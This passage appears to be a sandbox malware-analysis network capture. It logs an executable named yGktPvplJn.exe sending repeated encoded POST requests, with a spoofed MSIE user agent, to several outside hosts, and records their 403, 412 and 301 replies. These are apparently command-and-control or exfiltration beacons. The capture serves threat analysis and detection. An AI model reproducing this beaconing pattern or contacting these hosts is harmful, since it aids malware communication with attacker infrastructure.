87Z0PPVCFPi8cXhJXPcQcu5qWP2D6RKT+faruYsdthMwZnmqeRsRnpk+SG8tAwDLAhv0ezLqvoyycPhjK/3rL9KJFkS/NoV9/e7mhmF1dvSPb9pcA8ZxkuY84U3Qf6jVbGvp0TqnOSJl0IC3fnc2+sfrdnzPBxH0UnjUU/15DTjWVH0q7fe4ENgBgYuTbxNcao4SedGc6p1iYKrXghXcIFASOUzwtbFsJHOe4c+/Wgev9sRNN4OocnoUy41iy3OUFGb0FWPbdAYHPznI8PfYs6vZYD/Ys9GJqXUB5nU2vevN1eQ1Zi58G2Le3Jc1lZTet1jB96ylTFGCYMBxFOxO7B9ecD3gNNRDm/jDnCq6DWhAI7NV6LkhWPbNSFXoKUp1o/qThKxQkLs06p+PodV8mYEjx8L1VxVRl6+Z+YUNf4Flp9DAbOL9maFihBnyfamfwzQyIuqYPD8HUcQLMRMRRLQ1F5NgdFUOlP4rRSk595/l8tSY27xxo3BeCy430s4zD7XRAHS7gw7mHUePNDFND8V3QYCOCzWKDknhZ07eDuoxbXK8hO26chViYOBX
Oct 25, 2024 11:17:36.041830063 CEST	1196	IN	HTTP/1.1 412 Precondition Failed Date: Fri, 25 Oct 2024 09:17:35 GMT Server: Apache Upgrade: h2 Connection: Upgrade Accept-Ranges: bytes Content-Length: 1004 Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 34 31 32 20 52 65 71 75 65 73 74 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 69 63 6f 6e 73 2f 65 78 70 69 72 65 64 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>412 Request Blocked</title><link href="/icons/expired/style.css" rel="stylesheet" type="text/css" /></head><body><div id="notice"><h1>412 REQUEST BLOCKED</h1><h2>Precondition failed: the web server has blocked this request for security reasons.</h2></div><div><p>You may want to contact the webmaster and inform them <br />of the time the error occurred, as well as anything you might have <br />done that may have caused the error.</p><br><p>If you are the owner of the website, you can get more information about <br />the issue and how to resolve it in the article <a href="https://tickets.suresupport.com/faq/article-1596/en">Error "412 Precondition Failed" (mod_security2)</a>.<br /></p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	52580	188.165.133.163	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:35.361174107 CEST	812	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 580 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.xaicom.es Cache-Control: no-cache Data Raw: 6e 43 33 4e 4c 4c 6b 42 4e 66 67 65 32 4a 38 4a 53 4c 2f 67 49 46 4c 4b 5a 43 36 58 57 58 6c 50 2f 5a 2f 2b 5a 75 4d 75 67 44 34 6d 58 39 76 47 45 4d 4e 49 4d 2b 31 4e 62 72 53 35 67 45 35 61 4f 64 4e 41 63 36 57 4f 54 41 6d 39 59 76 64 56 4f 57 67 56 6f 5a 31 33 77 30 62 44 61 38 41 43 78 6f 4b 59 57 46 75 44 5a 71 72 45 78 6c 78 38 51 36 61 2b 69 46 4d 76 64 77 48 47 73 39 34 47 47 2f 31 58 6d 36 48 6a 70 66 36 44 4b 4f 70 42 72 72 57 66 58 6b 46 71 68 42 6e 78 33 4c 42 59 37 77 47 43 76 52 39 58 47 63 6b 6f 78 61 6c 46 67 78 62 36 37 4e 62 2b 2b 37 57 5a 42 7a 73 6d 6c 75 45 61 34 6b 4f 7a 32 39 4e 77 58 63 5a 79 44 72 51 4e 68 4b 4e 63 51 72 35 6c 71 4e 61 76 49 74 45 6f 67 64 38 2b 46 7a 6e 50 52 32 38 71 4f 37 76 77 7a 39 30 56 2f 47 6f 4f 53 44 75 30 51 59 30 51 78 6a 30 43 39 58 2f 68 48 59 79 54 48 4f 79 36 6a 30 31 66 52 7a 49 4c 6b 6f 31 71 35 6c 76 76 35 76 78 49 4e 6b 73 79 6a 32 36 6e 37 34 4b 6d 53 6e 5a 2b 6e 39 47 39 6c 6c 63 7a 63 56 62 4d 66 55 52 42 51 6a 77 42 56 76 2f 47 73 2b [TRUNCATED] Data Ascii: nC3NLLkBNfge2J8JSL/gIFLKZC6XWXlP/Z/+ZuMugD4mX9vGEMNIM+1NbrS5gE5aOdNAc6WOTAm9YvdVOWgVoZ13w0bDa8ACxoKYWFuDZqrExlx8Q6a+iFMvdwHGs94GG/1Xm6Hjpf6DKOpBrrWfXkFqhBnx3LBY7wGCvR9XGckoxalFgxb67Nb++7WZBzsmluEa4kOz29NwXcZyDrQNhKNcQr5lqNavItEogd8+FznPR28qO7vwz90V/GoOSDu0QY0Qxj0C9X/hHYyTHOy6j01fRzILko1q5lvv5vxINksyj26n74KmSnZ+n9G9llczcVbMfURBQjwBVv/Gs+kN6WHqk32BUWw5Ipq4t1OmR/qh40ogfTkAsWIQRb2v++yhLecufz1DV0aTCmzFoV4IPnNor85nAelgkT27cjLi0xLaqjby5+AMjiH78fqslBbQns7uw1OPQjT3kO1qclJYRI1DTp4LoX189Y0qyfvOn7Rxfp6Z5aLa4jC3itx2gigpIps4IIJUUKnVjEBteoTEzvlmdv/STHMO5OdkZK81EtAOrF2rQnGsUmzxALQGUL021A==
Oct 25, 2024 11:17:36.190737009 CEST	352	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 25 Oct 2024 09:17:34 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://www.xaicom.es/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 25, 2024 11:17:36.207675934 CEST	812	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 580 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.xaicom.es Cache-Control: no-cache Data Raw: 6e 43 33 4e 4c 4c 6b 42 4e 66 67 65 32 4a 38 4a 53 4c 2f 67 49 46 4c 4b 5a 43 36 58 57 58 6c 50 2f 5a 2f 2b 5a 75 4d 75 67 44 34 6d 58 39 76 47 45 4d 4e 49 4d 2b 31 4e 62 72 53 35 67 45 35 61 4f 64 4e 41 63 36 57 4f 54 41 6d 39 59 76 64 56 4f 57 67 56 6f 5a 31 33 77 30 62 44 61 38 41 43 78 6f 4b 59 57 46 75 44 5a 71 72 45 78 6c 78 38 51 36 61 2b 69 46 4d 76 64 77 48 47 73 39 34 47 47 2f 31 58 6d 36 48 6a 70 66 36 44 4b 4f 70 42 72 72 57 66 58 6b 46 71 68 42 6e 78 33 4c 42 59 37 77 47 43 76 52 39 58 47 63 6b 6f 78 61 6c 46 67 78 62 36 37 4e 62 2b 2b 37 57 5a 42 7a 73 6d 6c 75 45 61 34 6b 4f 7a 32 39 4e 77 58 63 5a 79 44 72 51 4e 68 4b 4e 63 51 72 35 6c 71 4e 61 76 49 74 45 6f 67 64 38 2b 46 7a 6e 50 52 32 38 71 4f 37 76 77 7a 39 30 56 2f 47 6f 4f 53 44 75 30 51 59 30 51 78 6a 30 43 39 58 2f 68 48 59 79 54 48 4f 79 36 6a 30 31 66 52 7a 49 4c 6b 6f 31 71 35 6c 76 76 35 76 78 49 4e 6b 73 79 6a 32 36 6e 37 34 4b 6d 53 6e 5a 2b 6e 39 47 39 6c 6c 63 7a 63 56 62 4d 66 55 52 42 51 6a 77 42 56 76 2f 47 73 2b [TRUNCATED] Data Ascii: nC3NLLkBNfge2J8JSL/gIFLKZC6XWXlP/Z/+ZuMugD4mX9vGEMNIM+1NbrS5gE5aOdNAc6WOTAm9YvdVOWgVoZ13w0bDa8ACxoKYWFuDZqrExlx8Q6a+iFMvdwHGs94GG/1Xm6Hjpf6DKOpBrrWfXkFqhBnx3LBY7wGCvR9XGckoxalFgxb67Nb++7WZBzsmluEa4kOz29NwXcZyDrQNhKNcQr5lqNavItEogd8+FznPR28qO7vwz90V/GoOSDu0QY0Qxj0C9X/hHYyTHOy6j01fRzILko1q5lvv5vxINksyj26n74KmSnZ+n9G9llczcVbMfURBQjwBVv/Gs+kN6WHqk32BUWw5Ipq4t1OmR/qh40ogfTkAsWIQRb2v++yhLecufz1DV0aTCmzFoV4IPnNor85nAelgkT27cjLi0xLaqjby5+AMjiH78fqslBbQns7uw1OPQjT3kO1qclJYRI1DTp4LoX189Y0qyfvOn7Rxfp6Z5aLa4jC3itx2gigpIps4IIJUUKnVjEBteoTEzvlmdv/STHMO5OdkZK81EtAOrF2rQnGsUmzxALQGUL021A==
Oct 25, 2024 11:17:36.447026014 CEST	352	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 25 Oct 2024 09:17:34 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://www.xaicom.es/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	52582	135.181.73.98	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:35.520190954 CEST	808	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 576 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.t-tre.com Cache-Control: no-cache Data Raw: 72 47 67 74 6f 47 64 68 53 66 69 71 39 61 2b 58 46 75 38 47 6d 44 42 34 53 68 37 64 78 61 39 68 69 38 73 63 4c 4a 6e 54 54 65 59 36 53 4a 65 53 44 63 61 49 72 34 52 57 4f 4a 6b 51 66 34 46 32 77 38 75 4d 33 53 52 49 49 6d 4c 34 65 68 4e 65 6a 58 37 54 47 39 75 31 62 71 78 5a 61 79 66 51 43 37 43 72 44 52 50 4f 77 31 55 79 52 34 33 79 39 62 53 30 57 49 78 6e 52 68 30 2b 68 52 33 31 79 4c 53 6a 5a 37 62 66 4e 4a 67 67 48 4d 5a 57 48 57 62 6f 77 77 75 6b 49 4c 36 75 76 36 2f 37 61 70 78 4d 53 54 47 56 56 4a 37 6b 61 4e 41 38 56 51 4c 4b 55 46 31 67 6f 6f 6c 65 6f 77 6b 43 6a 68 5a 66 2f 5a 6b 34 78 41 72 63 33 58 41 38 45 33 6f 64 54 6f 31 41 6d 45 61 76 47 56 55 6f 38 79 54 4c 41 58 59 4e 36 73 61 54 71 61 67 33 71 2b 70 73 6c 6b 52 69 47 41 56 69 35 46 79 2f 73 42 57 47 5a 36 30 6b 6c 44 48 49 71 31 4e 4d 64 59 32 57 35 39 72 4f 36 4a 67 70 69 43 43 4c 74 54 74 66 4b 58 67 2f 6d 4d 42 76 55 6f 36 58 39 54 71 65 63 65 67 4b 4b 58 7a 6f 74 75 6e 78 6b 31 76 76 76 71 4a 38 4a 71 54 44 41 69 55 37 6c 31 [TRUNCATED] Data Ascii: rGgtoGdhSfiq9a+XFu8GmDB4Sh7dxa9hi8scLJnTTeY6SJeSDcaIr4RWOJkQf4F2w8uM3SRIImL4ehNejX7TG9u1bqxZayfQC7CrDRPOw1UyR43y9bS0WIxnRh0+hR31yLSjZ7bfNJggHMZWHWbowwukIL6uv6/7apxMSTGVVJ7kaNA8VQLKUF1gooleowkCjhZf/Zk4xArc3XA8E3odTo1AmEavGVUo8yTLAXYN6saTqag3q+pslkRiGAVi5Fy/sBWGZ60klDHIq1NMdY2W59rO6JgpiCCLtTtfKXg/mMBvUo6X9TqecegKKXzotunxk1vvvqJ8JqTDAiU7l1S7z6VjrBRqKJKCoxiWc+qNiK2ju+6lxQ1eIykojecWD8Rzi4ixv5XcKn+gWZ4cmoC5C2MTgOwuSGNOEWLL9lXLUo9bLlc6M/c5uXxI4OY7ycBO/Pb8M2A81yZkXyxTBhT/aGgGY3Y3Efiv0/5x2MiJkr5lSrosBnSHc8kXra4fJR/v3dcAGT9swUlNAkZet0h6eqhDyyPL/aMx3GUQDQt78F0D/UzvgVzSjvSyvQQgtw==
Oct 25, 2024 11:17:36.405644894 CEST	346	IN	HTTP/1.1 403 Forbidden Date: Fri, 25 Oct 2024 09:17:36 GMT Server: Apache/2 Content-Length: 199 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Oct 25, 2024 11:17:36.429029942 CEST	808	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 576 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.t-tre.com Cache-Control: no-cache Data Raw: 72 47 67 74 6f 47 64 68 53 66 69 71 39 61 2b 58 46 75 38 47 6d 44 42 34 53 68 37 64 78 61 39 68 69 38 73 63 4c 4a 6e 54 54 65 59 36 53 4a 65 53 44 63 61 49 72 34 52 57 4f 4a 6b 51 66 34 46 32 77 38 75 4d 33 53 52 49 49 6d 4c 34 65 68 4e 65 6a 58 37 54 47 39 75 31 62 71 78 5a 61 79 66 51 43 37 43 72 44 52 50 4f 77 31 55 79 52 34 33 79 39 62 53 30 57 49 78 6e 52 68 30 2b 68 52 33 31 79 4c 53 6a 5a 37 62 66 4e 4a 67 67 48 4d 5a 57 48 57 62 6f 77 77 75 6b 49 4c 36 75 76 36 2f 37 61 70 78 4d 53 54 47 56 56 4a 37 6b 61 4e 41 38 56 51 4c 4b 55 46 31 67 6f 6f 6c 65 6f 77 6b 43 6a 68 5a 66 2f 5a 6b 34 78 41 72 63 33 58 41 38 45 33 6f 64 54 6f 31 41 6d 45 61 76 47 56 55 6f 38 79 54 4c 41 58 59 4e 36 73 61 54 71 61 67 33 71 2b 70 73 6c 6b 52 69 47 41 56 69 35 46 79 2f 73 42 57 47 5a 36 30 6b 6c 44 48 49 71 31 4e 4d 64 59 32 57 35 39 72 4f 36 4a 67 70 69 43 43 4c 74 54 74 66 4b 58 67 2f 6d 4d 42 76 55 6f 36 58 39 54 71 65 63 65 67 4b 4b 58 7a 6f 74 75 6e 78 6b 31 76 76 76 71 4a 38 4a 71 54 44 41 69 55 37 6c 31 [TRUNCATED] Data Ascii: rGgtoGdhSfiq9a+XFu8GmDB4Sh7dxa9hi8scLJnTTeY6SJeSDcaIr4RWOJkQf4F2w8uM3SRIImL4ehNejX7TG9u1bqxZayfQC7CrDRPOw1UyR43y9bS0WIxnRh0+hR31yLSjZ7bfNJggHMZWHWbowwukIL6uv6/7apxMSTGVVJ7kaNA8VQLKUF1gooleowkCjhZf/Zk4xArc3XA8E3odTo1AmEavGVUo8yTLAXYN6saTqag3q+pslkRiGAVi5Fy/sBWGZ60klDHIq1NMdY2W59rO6JgpiCCLtTtfKXg/mMBvUo6X9TqecegKKXzotunxk1vvvqJ8JqTDAiU7l1S7z6VjrBRqKJKCoxiWc+qNiK2ju+6lxQ1eIykojecWD8Rzi4ixv5XcKn+gWZ4cmoC5C2MTgOwuSGNOEWLL9lXLUo9bLlc6M/c5uXxI4OY7ycBO/Pb8M2A81yZkXyxTBhT/aGgGY3Y3Efiv0/5x2MiJkr5lSrosBnSHc8kXra4fJR/v3dcAGT9swUlNAkZet0h6eqhDyyPL/aMx3GUQDQt78F0D/UzvgVzSjvSyvQQgtw==
Oct 25, 2024 11:17:36.691210985 CEST	346	IN	HTTP/1.1 403 Forbidden Date: Fri, 25 Oct 2024 09:17:36 GMT Server: Apache/2 Content-Length: 199 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	52583	69.163.239.62	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:35.605119944 CEST	767	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 536 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.sjbs.org Cache-Control: no-cache Data Raw: 67 61 34 37 76 73 54 37 57 76 69 63 44 67 52 67 33 39 53 42 72 35 66 50 75 70 7a 38 54 33 75 7a 4f 47 31 54 55 34 6a 35 71 34 6b 58 56 77 67 48 76 47 38 52 41 75 31 77 50 71 6b 31 6c 43 6b 4e 35 76 6e 32 58 73 56 61 64 6e 42 67 6e 77 31 54 44 33 34 56 4a 37 69 30 56 55 78 5a 39 30 43 6b 39 77 68 4c 54 63 2b 49 4a 33 59 45 57 32 46 74 4a 5a 73 6a 4c 6b 47 4f 6e 67 31 32 68 50 74 46 76 76 64 51 61 4e 4f 7a 69 70 56 77 33 49 37 46 77 54 51 6b 36 56 52 65 65 70 6a 43 46 2b 62 35 50 47 52 4b 77 73 4a 39 34 66 37 74 30 74 4e 65 70 2b 57 57 35 38 30 61 37 74 41 79 47 4f 55 2b 70 45 67 46 53 67 30 57 52 65 6e 52 51 56 70 6a 67 38 43 78 66 36 2b 34 6e 47 39 6b 31 41 31 4a 45 71 64 34 6f 4e 38 72 46 57 65 48 30 74 31 2b 56 57 6d 57 48 31 32 74 2b 4f 54 4d 76 38 45 59 5a 36 50 51 2f 6d 69 33 56 44 49 79 37 41 64 43 6c 39 2b 44 52 75 63 4d 53 47 75 54 6a 75 68 38 7a 54 38 6a 4e 4d 59 65 62 77 58 2b 66 71 33 36 42 6d 7a 30 6c 6c 31 69 55 6a 59 59 63 70 62 31 79 65 49 34 76 32 30 59 2b 30 33 56 4b 4e 67 2f 77 37 [TRUNCATED] Data Ascii: ga47vsT7WvicDgRg39SBr5fPupz8T3uzOG1TU4j5q4kXVwgHvG8RAu1wPqk1lCkN5vn2XsVadnBgnw1TD34VJ7i0VUxZ90Ck9whLTc+IJ3YEW2FtJZsjLkGOng12hPtFvvdQaNOzipVw3I7FwTQk6VReepjCF+b5PGRKwsJ94f7t0tNep+WW580a7tAyGOU+pEgFSg0WRenRQVpjg8Cxf6+4nG9k1A1JEqd4oN8rFWeH0t1+VWmWH12t+OTMv8EYZ6PQ/mi3VDIy7AdCl9+DRucMSGuTjuh8zT8jNMYebwX+fq36Bmz0ll1iUjYYcpb1yeI4v20Y+03VKNg/w7zF2OSwJOkB3E5MbMlKbGNQumoGuLhu2aEjSgqhhmmoRPTklNLwyjjWDCek+uCFwyIGlTvBxlMvpCuVB4l5El6cr2oG6Q3sP15z/a5SwHUsLpV0nTMtBPZ83xRp0GQ1Y57RDXPqH1HMusX2CiJpOoSND6EyVjw30fkCtGzAacIShfLaydApS81h1cBgGrFUh74xa68=
Oct 25, 2024 11:17:36.304949999 CEST	407	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:36 GMT Server: Apache Location: https://sjbs.org/ Content-Length: 225 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 6a 62 73 2e 6f 72 67 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://sjbs.org/">here</a>.</p></body></html>
Oct 25, 2024 11:17:36.325834036 CEST	767	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 536 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.sjbs.org Cache-Control: no-cache Data Raw: 67 61 34 37 76 73 54 37 57 76 69 63 44 67 52 67 33 39 53 42 72 35 66 50 75 70 7a 38 54 33 75 7a 4f 47 31 54 55 34 6a 35 71 34 6b 58 56 77 67 48 76 47 38 52 41 75 31 77 50 71 6b 31 6c 43 6b 4e 35 76 6e 32 58 73 56 61 64 6e 42 67 6e 77 31 54 44 33 34 56 4a 37 69 30 56 55 78 5a 39 30 43 6b 39 77 68 4c 54 63 2b 49 4a 33 59 45 57 32 46 74 4a 5a 73 6a 4c 6b 47 4f 6e 67 31 32 68 50 74 46 76 76 64 51 61 4e 4f 7a 69 70 56 77 33 49 37 46 77 54 51 6b 36 56 52 65 65 70 6a 43 46 2b 62 35 50 47 52 4b 77 73 4a 39 34 66 37 74 30 74 4e 65 70 2b 57 57 35 38 30 61 37 74 41 79 47 4f 55 2b 70 45 67 46 53 67 30 57 52 65 6e 52 51 56 70 6a 67 38 43 78 66 36 2b 34 6e 47 39 6b 31 41 31 4a 45 71 64 34 6f 4e 38 72 46 57 65 48 30 74 31 2b 56 57 6d 57 48 31 32 74 2b 4f 54 4d 76 38 45 59 5a 36 50 51 2f 6d 69 33 56 44 49 79 37 41 64 43 6c 39 2b 44 52 75 63 4d 53 47 75 54 6a 75 68 38 7a 54 38 6a 4e 4d 59 65 62 77 58 2b 66 71 33 36 42 6d 7a 30 6c 6c 31 69 55 6a 59 59 63 70 62 31 79 65 49 34 76 32 30 59 2b 30 33 56 4b 4e 67 2f 77 37 [TRUNCATED] Data Ascii: ga47vsT7WvicDgRg39SBr5fPupz8T3uzOG1TU4j5q4kXVwgHvG8RAu1wPqk1lCkN5vn2XsVadnBgnw1TD34VJ7i0VUxZ90Ck9whLTc+IJ3YEW2FtJZsjLkGOng12hPtFvvdQaNOzipVw3I7FwTQk6VReepjCF+b5PGRKwsJ94f7t0tNep+WW580a7tAyGOU+pEgFSg0WRenRQVpjg8Cxf6+4nG9k1A1JEqd4oN8rFWeH0t1+VWmWH12t+OTMv8EYZ6PQ/mi3VDIy7AdCl9+DRucMSGuTjuh8zT8jNMYebwX+fq36Bmz0ll1iUjYYcpb1yeI4v20Y+03VKNg/w7zF2OSwJOkB3E5MbMlKbGNQumoGuLhu2aEjSgqhhmmoRPTklNLwyjjWDCek+uCFwyIGlTvBxlMvpCuVB4l5El6cr2oG6Q3sP15z/a5SwHUsLpV0nTMtBPZ83xRp0GQ1Y57RDXPqH1HMusX2CiJpOoSND6EyVjw30fkCtGzAacIShfLaydApS81h1cBgGrFUh74xa68=
Oct 25, 2024 11:17:36.502329111 CEST	407	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:36 GMT Server: Apache Location: https://sjbs.org/ Content-Length: 225 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 6a 62 73 2e 6f 72 67 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 